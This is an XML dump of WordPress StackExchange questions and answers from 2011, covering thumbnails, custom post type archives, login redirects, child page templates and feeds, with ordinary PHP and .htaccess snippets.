  <row Id="15993" PostTypeId="1" CreationDate="2011-04-29T23:08:16.687" Score="5" ViewCount="671" Body="&lt;p&gt;I want to created automatically rounded corner thumbnails for a particular project I'm working on, using something like this: &lt;a href=&quot;http://webdeveloperplus.com/php/create-thumbnail-images-with-rounded-corners/&quot; rel=&quot;nofollow&quot;&gt;http://webdeveloperplus.com/php/create-thumbnail-images-with-rounded-corners/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd ideally like to do is find a way to hook something like this into the thumbnail creation process itself and cache it serverside. &lt;code&gt;/wp-includes/media.php&lt;/code&gt; doesn't seem to have any applicable hooks, so I might have to roll my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues on where to start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;&lt;strong&gt;Not in CSS.&lt;/strong&gt; There have been some good suggestions about this but I'm using border-radius all over the site, and the images specifically need to be rounded on the server side. Thanks&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2011-05-02T15:44:08.640" LastActivityDate="2011-05-17T20:29:38.067" Title="How to automatically add rounded corners to thumbnails?" Tags="&lt;images&gt;&lt;post-thumbnails&gt;&lt;rounded-corners&gt;" AnswerCount="9" CommentCount="1" FavoriteCount="1" />
  <row Id="15994" PostTypeId="2" ParentId="9345" CreationDate="2011-04-29T23:14:42.407" Score="0" ViewCount="" Body="&lt;p&gt;This isn't a great answer (but I don't have rep to comment on someone else's answer yet), but a quick n dirty workaround would be to duplicate the function manually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_plugin_active( $plugin ) {&#xA;    return in_array( $plugin, (array) get_option( 'active_plugins', array() ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's pretty short so it shouldn't be too hard to implement in your own code as a workaround.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-04-30T14:52:36.107" LastActivityDate="2011-04-30T14:52:36.107" />
  <row Id="15995" PostTypeId="2" ParentId="15993" CreationDate="2011-04-29T23:58:31.030" Score="1" ViewCount="" Body="&lt;p&gt;What thumbnails are you wanting to style, the &quot;thumbnail&quot; image size in general, or Post Thumbnails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both can easily be accomplished via CSS - specifically, the &lt;code&gt;border-radius&lt;/code&gt; property; the specific answer will depend on your exact needs. I'll be happy to update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. IMHO going to TimThumb/cached image route is sub-optimal. Just use the WordPress-generated, square-cornered images (that are already part of the object cache), and use CSS to round the corners.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-29T23:58:31.030" CommentCount="6" />
  <row Id="15996" PostTypeId="2" ParentId="15993" CreationDate="2011-04-30T00:02:34.533" Score="3" ViewCount="" Body="&lt;p&gt;Even though you could process rounded corners with Php and image GD ( you will still have to pick a background color,) it is an awful lot of work/code/processing for what can easily be accomplished with JavaScript or CSS3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For rounded images in CSS3 you have to wrap the image in a div and make the image a background-image of that div, not really practical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think you should just use jquery, simply enqueue the script when needed and append the jquery class to your thumbnail through a hook or directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The javascript/jquery trick basically applies 4 corner gifs to the image to make it appear rounded. There are various jquery ones lying about on the interwebs such as &lt;a href=&quot;http://maestric.com/doc/css/rounded_corners_images&quot; rel=&quot;nofollow&quot;&gt;http://maestric.com/doc/css/rounded_corners_images&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just don't tell anyone they are not really round.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-30T00:02:34.533" CommentCount="2" />
  <row Id="15997" PostTypeId="1" CreationDate="2011-04-30T00:24:48.197" Score="1" ViewCount="198" Body="&lt;p&gt;I have set up a Custom Post Type called &quot;Portfolio&quot;. If I view the CPT's Archive page without adding any posts to it (/portfolio or /?post_type=portfolio), it returns a 404 page. Is there a way to show the archive page but personalize the message? Ie &quot;there are currently no portfolio items here right now&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I add 1 post into the portfolio custom post type, the archive page loads fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are other posts that match my issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/empty-archives-returning-404&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/empty-archives-returning-404&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/11607/custom-post-type-archives-with-0-posts-redirects-as-404&quot;&gt;Custom Post Type Archives with 0 Posts Redirects as 404&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-05-31T18:56:08.683" Title="An empty Custom Post Type Archive page returns 404 in WP 3.1" Tags="&lt;custom-post-types&gt;&lt;404-error&gt;&lt;custom-post-type-archives&gt;" AnswerCount="1" />
  <row Id="15998" PostTypeId="2" ParentId="15976" CreationDate="2011-04-30T01:09:13.617" Score="1" ViewCount="" Body="&lt;h3&gt;Hi @Paulocoghi,&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if your going to find something that contains all your requirements without some customization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://www.press75.com/themes/tapp-jobs-theme-demo/&quot; rel=&quot;nofollow&quot;&gt;Press75's Tapp Jobs WordPress Theme&lt;/a&gt;.  The front end job posting form uses Gravity Forms (separate purchase) so all the fields are customizable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the questions you can open up comments on the job post type and for the candidate portfolios you could use Gravity forms for a user registration form with plenty of custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This theme doesn't provide all the features you need but I think it is the closest you can get.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-30T01:09:13.617" />
  <row Id="15999" PostTypeId="2" ParentId="15712" CreationDate="2011-04-30T01:42:14.820" Score="2" ViewCount="" Body="&lt;p&gt;I found this code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ftc_flush_rewrites() {&#xA;global $wp_rewrite;&#xA;$wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&#xA;function ftc_add_rewrites() {&#xA;global $wp_rewrite;&#xA;$ftc_new_non_wp_rules = array(&#xA;'find/(this)' =&amp;gt; '/addit.php?here=$1',&#xA;);&#xA;&#xA;$wp_rewrite-&amp;gt;non_wp_rules = $ftc_new_non_wp_rules + $wp_rewrite-&amp;gt;non_wp_rules;&#xA;}&#xA;&#xA;add_action('generate_rewrite_rules', 'ftc_add_rewrites');&#xA;add_action('admin_init', 'ftc_flush_rewrites');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this thread &lt;a href=&quot;http://wordpress.org/support/topic/writing-wp_rewrite-gtnon_wp_rules-to-htaccess&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/writing-wp_rewrite-gtnon_wp_rules-to-htaccess&lt;/a&gt;  ...not sure if that addresses the problem but good luck!&lt;/p&gt;&#xA;" OwnerUserId="4934" LastEditorUserId="4934" LastEditorDisplayName="" LastEditDate="2011-04-30T01:47:18.483" LastActivityDate="2011-04-30T01:47:18.483" CommentCount="1" />
  <row Id="16000" PostTypeId="2" ParentId="15712" CreationDate="2011-04-30T02:31:47.873" Score="4" ViewCount="" Body="&lt;p&gt;The /platform page doesn't exist because WordPress doesn't just make a page based off your URL structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a &quot;Page&quot; called &quot;platform&quot; if you need to show content there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;taxonomy-platform.php is the default template for &lt;strong&gt;term archives&lt;/strong&gt; within the platform taxonomy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;taxonomy-platform-some_term.php is the archive template for one specific term.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;All WordPress archive templates are for term archives. WordPress does not have a built in way to associate taxonomy names with posts only taxonomy terms can be associated with posts.&lt;/h3&gt;&#xA;&#xA;&lt;h3&gt;Taxonomy name = platform&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;some-platform (platform term)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;URL = &lt;a href=&quot;http://some-domain.com/platform/some-platform&quot; rel=&quot;nofollow&quot;&gt;http://some-domain.com/platform/some-platform&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will list all the post with the some-platform taxonomy term&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to remove the &quot;platform&quot; slug front but it is not possible to have a taxonomy archive page of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://some-domain.com/platform/&quot; rel=&quot;nofollow&quot;&gt;http://some-domain.com/platform/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and get an archive all posts that have the platform taxonomy associated with it without creating a platform page with a custom template to make the necessary queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your template taxonomy-platform.php will be used for any platform &lt;strong&gt;term&lt;/strong&gt; archive pages.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-30T02:31:47.873" CommentCount="1" />
  <row Id="16002" PostTypeId="1" AcceptedAnswerId="16007" CreationDate="2011-04-30T03:06:29.933" Score="1" ViewCount="274" Body="&lt;p&gt;I would like to remove blog posts from the home page if they belong to a certain category. How can I go about this in Buddypress (preferably without a plugin)?&lt;/p&gt;&#xA;" OwnerUserId="3525" LastActivityDate="2011-05-01T04:44:45.423" Title="Filter Home Page Posts in Buddypress" Tags="&lt;categories&gt;&lt;posts&gt;&lt;filters&gt;&lt;buddypress&gt;" AnswerCount="2" />
  <row Id="16003" PostTypeId="2" ParentId="15952" CreationDate="2011-04-30T03:17:48.190" Score="0" ViewCount="" Body="&lt;p&gt;I find the answer to my question&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FS_METHOD', 'direct');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/10205&quot; rel=&quot;nofollow&quot;&gt;core.trac.wordpress.org/ticket/10205&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks @xLRDxREVENGEx for the tip for upgrading manually but when you make a theme framework and you want to update you parent theme framework in the admin you need to apply the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FS_METHOD', 'direct');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="384" LastActivityDate="2011-04-30T03:17:48.190" />
  <row Id="16004" PostTypeId="1" AcceptedAnswerId="16040" CreationDate="2011-04-30T03:35:04.760" Score="2" ViewCount="472" Body="&lt;p&gt;I have a function that redirects users to the login page (home) if they're trying to access any other page without being logged in, here's how it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function restrict_access_if_logged_out(){&#xA;    if (!is_user_logged_in() &amp;amp;&amp;amp; !is_home()){&#xA;        wp_redirect( get_option('home') );&#xA;    }&#xA;}&#xA;add_action( 'wp', 'restrict_access_if_logged_out', 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Really simple and works fine, the problem is that is that I need to redirect them to the url they were trying to go to after they successfully log in, exactly like the WordPress backend works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-30T09:26:45.703" LastActivityDate="2011-04-30T16:41:27.603" Title="Redirect user to original url after login?" Tags="&lt;redirect&gt;&lt;urls&gt;&lt;login&gt;" AnswerCount="4" />
  <row Id="16005" PostTypeId="2" ParentId="16004" CreationDate="2011-04-30T03:42:23.463" Score="2" ViewCount="" Body="&lt;p&gt;Try passing &lt;code&gt;the_permalink()&lt;/code&gt; as the &lt;code&gt;$redirect&lt;/code&gt; argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function restrict_access_if_logged_out(){&#xA;    if (!is_user_logged_in() &amp;amp;&amp;amp; !is_home()){&#xA;        wp_redirect( the_permalink() );&#xA;    }&#xA;}&#xA;add_action( 'wp', 'restrict_access_if_logged_out', 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, misunderstood your question originally. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function restrict_access_if_logged_out(){&#xA;    if (!is_user_logged_in() &amp;amp;&amp;amp; !is_home()){&#xA;        $redirect = home_url() . '/wp-login.php?redirect_to=' . urlencode( $_SERVER['REQUEST_URI'] );&#xA;        wp_redirect( $redirect );&#xA;        exit;&#xA;    }&#xA;}&#xA;add_action( 'wp', 'restrict_access_if_logged_out', 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note also: proper usage of &lt;code&gt;wp_redirect()&lt;/code&gt; generally requires adding &lt;code&gt;exit;&lt;/code&gt;, which I have added to my second example.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-30T12:33:54.677" LastActivityDate="2011-04-30T12:33:54.677" CommentCount="2" />
  <row Id="16006" PostTypeId="1" CreationDate="2011-04-30T03:46:03.613" Score="0" ViewCount="58" Body="&lt;p&gt;I am new to wordpress and apache. Following the introduction i found from google, i installed the apache(2.2.17)+mysql(5.5.11)+php(5.2.17)+wordpress(3.1.1) successfully on my PC. But when I login with the right user name and password, it just go into the wp-admin directory but not the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I missed some configurations of the apache server or something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone can help on this, or give a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for help.&lt;/p&gt;&#xA;" OwnerUserId="5000" LastActivityDate="2011-04-30T13:06:47.407" Title="how to config the home page locally" Tags="&lt;apache&gt;&lt;localhost&gt;" AnswerCount="2" />
  <row Id="16007" PostTypeId="2" ParentId="16002" CreationDate="2011-04-30T03:50:36.570" Score="1" ViewCount="" Body="&lt;p&gt;If you mean filtering the home page activity stream by blog post category, it's not possible using any of the buit in BuddyPress template tags, functions or queries.  I struggled with this same issue for months and finally gave up.  If someone can prove me wrong I would love to hear the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your not using the activity stream on your home page you can just use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt; class to filter the posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My use case for filtering the blog posts in the activity stream was to have separate activity stream pages for each post category.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing I could find was the &lt;a href=&quot;http://buddypress.org/community/groups/buddypress-links/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress Links Plugin&lt;/a&gt; which creates a links post type that uses categories and is integrated into the BuddyPress activity stream but it required to much customization to get it to work how I wanted.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Boone Gorges's (BuddyPress Lead Developer) &lt;a href=&quot;http://buddypress.org/community/groups/miscellaneous/forum/topic/custom-post-types-and-buddypress-should-i-wait-for-1-3/&quot; rel=&quot;nofollow&quot;&gt;reply to a support&lt;/a&gt;&#xA;  forum topic about using custom post&#xA;  types with BuddyPress:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There isn’t really any support built&#xA;  into BP for custom pay types, but&#xA;  supporting them is no different from&#xA;  supporting other kinds of custom&#xA;  content in BP. See the BuddyPress&#xA;  Skeleton Component for some guidance&#xA;  on integrating custom content into BP&#xA;  navigation, etc.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In the next couple weeks I might whip&#xA;  up a new plugin to provide a framework&#xA;  for custom post type support in BP&#xA;  (front end editing, integration into&#xA;  nav menus, etc). I’ve had to do stuff&#xA;  like this for a couple clients in the&#xA;  past few months and I think I have a&#xA;  sense of some good strategies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I also spoke with Boone at length at a WordCamp about adding custom meta or categories to any of the BuddyPress components and using the meta to filter the activity stream.  He said it can be done but it would have to be completely coded from scratch and is not something nativly supported by BuddyPress.  He also said the best way to accomplish this would be to create a new custom BuddyPress component.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-30T03:50:36.570" />
  <row Id="16008" PostTypeId="2" ParentId="16006" CreationDate="2011-04-30T03:53:33.573" Score="1" ViewCount="" Body="&lt;p&gt;Your home page is available on the link in the upper left corner right besides the WordPress logo.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In your &lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/htaccess&quot;&gt;.htaccess&lt;/a&gt; or &lt;strong&gt;httpd-vhosts.conf&lt;/strong&gt; you have to declare the index.php as index file, and FollowSymLinks has to be On:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# sample .htaccess code&#xA;Options -Indexes +FollowSymLinks&#xA;DirectoryIndex index.php index.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-04-30T13:06:47.407" LastActivityDate="2011-04-30T13:06:47.407" CommentCount="3" />
  <row Id="16009" PostTypeId="1" CreationDate="2011-04-30T02:06:30.693" Score="0" ViewCount="79" Body="&lt;p&gt;I have tried contact form 7 and cforms and am having some issues.  The form (currently using cforms) send find from my mac in Firefox, Safari, and Chrome.  It also sends perfectly find from FF, Safari, and IE on my PC.  My client is unable to get a success message from her mac in FF or Safari, with either contact form.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why it might not be working? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the link:&#xA;&lt;a href=&quot;http://sweetpeaevents.net/contact-test&quot; rel=&quot;nofollow&quot;&gt;http://sweetpeaevents.net/contact-test&lt;/a&gt;&lt;/p&gt;&#xA;" LastEditorUserId="127" LastEditorDisplayName="" LastEditDate="2011-04-30T13:22:43.623" LastActivityDate="2011-04-30T13:22:43.623" Title="contact form not sending from wordpress" Tags="&lt;plugins&gt;&lt;javascript&gt;&lt;contact-form-7&gt;" CommentCount="2" />
  <row Id="16010" PostTypeId="1" CreationDate="2011-04-29T00:14:41.113" Score="0" ViewCount="130" Body="&lt;p&gt;I created a WordPress template and now I would like to use that template for several pages, however I would like to have different background color on some of the elements such as footer, header etc... which will depend on the parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So lets say I have PARENT A (green background) and PARENT B (white background) now when I will create child of PARENT A I would like it to have green background automatically. I know something similar could be done with posts using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;post &amp;lt;?php&#xA;foreach((get_the_category()) as $cat) {&#xA;echo $cat-&amp;gt;cat_name . ' ';&#xA;} ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need some advice what would be the best way to do that.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T07:50:01.387" LastActivityDate="2011-08-08T15:20:58.993" Title="Changing background color depending on parent page?" Tags="&lt;theme-development&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="0" />
  <row Id="16011" PostTypeId="2" ParentId="16010" CreationDate="2011-04-29T04:20:34.770" Score="0" ViewCount="" Body="&lt;p&gt;You can do something along the lines of the code below, having a different div depending on the page id. Put the style in your CSS obviously, but this paints the picture. Put the code in whatever php file you're applying this to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_page('30')) { ?&amp;gt;&#xA;    &amp;lt;div id=&quot;page30&quot; style=&quot;background:blue;&quot;&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;    &amp;lt;div id=&quot;default&quot; style=&quot;background:white;&quot;&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;!-- content inside div --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4968" LastActivityDate="2011-04-29T04:20:34.770" CommentCount="1" />
  <row Id="16012" PostTypeId="2" ParentId="16010" CreationDate="2011-04-30T06:30:50.163" Score="0" ViewCount="" Body="&lt;p&gt;To add to what TomHarrigan wrote you can try something like post_parent, ... I'll assume you mean page parents.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$children = get_children( &quot;post_type=page&amp;amp;post_parent=PARENT_A&quot; );&#xA;&#xA;if $children { &#xA;&amp;lt;div id=&quot;page30&quot; style=&quot;background:blue;&quot;&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should have a look into using the Options API for this type of stuff.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Options_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Options_API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-30T06:30:50.163" />
  <row Id="16013" PostTypeId="2" ParentId="16006" CreationDate="2011-04-30T07:35:40.920" Score="0" ViewCount="" Body="&lt;p&gt;The wordpress setup takes you to the admin panel at the start. Once you are done configuring your setup, simply type in the address of your setup in the browser's address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have setup wp in &quot;blog&quot; directory, then the admin panel login is at &lt;a href=&quot;http://mysite.com/blog/wp-admin&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/blog/wp-admin&lt;/a&gt; and the blog can be viewed at &lt;a href=&quot;http://mysite.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/blog&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5002" LastActivityDate="2011-04-30T07:35:40.920" />
  <row Id="16014" PostTypeId="2" ParentId="15869" CreationDate="2011-04-30T07:54:58.857" Score="1" ViewCount="" Body="&lt;p&gt;OK, I made an awful, but working solution: the hook is &lt;code&gt;admin_menu&lt;/code&gt;, than, in the called function, I added  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( strstr($_SERVER['PHP_SELF'],'link.php')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the begining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's a better solution, please someone send it.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-04-30T07:54:58.857" />
  <row Id="16015" PostTypeId="1" AcceptedAnswerId="16017" CreationDate="2011-04-30T08:04:11.157" Score="1" ViewCount="56" Body="&lt;p&gt;hey guys,&#xA;I have no idea how to solve the following problem.&#xA;I'd love to have a page-template that lists all it's child-pages but with the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. Imagine I have a page called &quot;WORK. And &quot;Work&quot; has childpages like &quot;Work 01&quot;, &quot;Work 02&quot;, &quot;Work 03&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't just want &quot;WORK&quot; to list the names of the childpages as a navigation, but rather just show all the pages under each other!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to solve that? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="3529" LastEditorDisplayName="" LastEditDate="2011-04-30T09:27:36.153" LastActivityDate="2011-04-30T09:27:36.153" Title="Help with a custom page template - listing contents of childpages?" Tags="&lt;php&gt;&lt;page&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="16016" PostTypeId="1" AcceptedAnswerId="16022" CreationDate="2011-04-30T08:16:49.307" Score="1" ViewCount="75" Body="&lt;p&gt;I'm using the function echo time_ago() that displays the time like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5 days ago&lt;/strong&gt; what's the best way to change it to &lt;strong&gt;5d ago&lt;/strong&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My research led me to human_time_diff() function located in &quot;formatting.php&quot; So I have tried directly editing the function located at /wp-includes/formatting.php but when I change &lt;strong&gt;&quot;hours&quot;&lt;/strong&gt; to &lt;strong&gt;&quot;h&quot;&lt;/strong&gt; and so on... it goes crazy and gives me errors. I know modifying the core isn't the best way, so any ideas? Thank you. &lt;/p&gt;&#xA;" OwnerUserId="4194" LastActivityDate="2011-04-30T09:54:43.410" Title="Modify human_time_diff() to shorten &quot;days&quot; to &quot;d&quot; and &quot;hours&quot; to &quot;h&quot; etc" Tags="&lt;timestamp&gt;" AnswerCount="1" />
  <row Id="16017" PostTypeId="2" ParentId="16015" CreationDate="2011-04-30T08:19:12.207" Score="2" ViewCount="" Body="&lt;p&gt;You would need to create a page template and query those pages directly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    $args = array(&#xA;                    'post_type' =&amp;gt; 'page',&#xA;                    'post__in' =&amp;gt; array(430,436,433), //The Page IDs you want to query&#xA;                     'order'    =&amp;gt; 'ASC'&#xA;                        );&#xA;&#xA;                $page_query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wanted to do this automatically and get the child pages of the current page you could use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Set up the arguments for retrieving the pages&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'page',&#xA;    'numberposts' =&amp;gt; -1,&#xA;&#xA;// $post-&amp;gt;ID gets the ID of the current page&#xA;'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;    'order' =&amp;gt; ASC,&#xA;    'orderby' =&amp;gt; title&#xA;    );&#xA; $subpages = get_posts($args);&#xA; // Just another WordPress Loop&#xA; foreach($subpages as $post) :&#xA;    setup_postdata($post);&#xA; ?&amp;gt;&#xA;&amp;lt;h4&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA; &amp;lt;?php the_content(); ?&amp;gt;&#xA;&#xA; &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-30T08:29:26.643" LastActivityDate="2011-04-30T08:29:26.643" CommentCount="1" />
  <row Id="16018" PostTypeId="2" ParentId="16004" CreationDate="2011-04-30T08:43:01.247" Score="1" ViewCount="" Body="&lt;p&gt;this is my code that i use people to direct to wp login page. Then when logged in they returned back to where they were. But it is not home page but the wordpress login page where i setup custom login.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo wp_login_url( $_SERVER[&quot;HTTP_HOST&quot;] . $_SERVER[&quot;REQUEST_URI&quot;]) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might wanna research with. Typically you will get the current url of a user by &lt;code&gt;$_SERVER[&quot;HTTP_HOST&quot;] . $_SERVER[&quot;REQUEST_URI&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-04-30T08:43:01.247" />
  <row Id="16019" PostTypeId="1" CreationDate="2011-04-30T09:01:14.713" Score="-1" ViewCount="68" Body="&lt;p&gt;I'd like to customize the feed URL of a certain Wordpress-based blog that I don't own in order to show all posts ever published. This is because I like that blog and I want to read everything the author has written, without missing a single post. Is this possible? Or should I surf this blog manually? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5004" LastActivityDate="2011-04-30T19:38:15.503" Title="How to retrieve the list of all posts ever published via the feed?" Tags="&lt;feed&gt;" AnswerCount="2" />
  <row Id="16020" PostTypeId="2" ParentId="16019" CreationDate="2011-04-30T09:06:13.070" Score="1" ViewCount="" Body="&lt;p&gt;No not possible. WordPress gives the owner of the site control over how many posts to show in the feed.  The default is 10&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-30T09:06:13.070" CommentCount="1" />
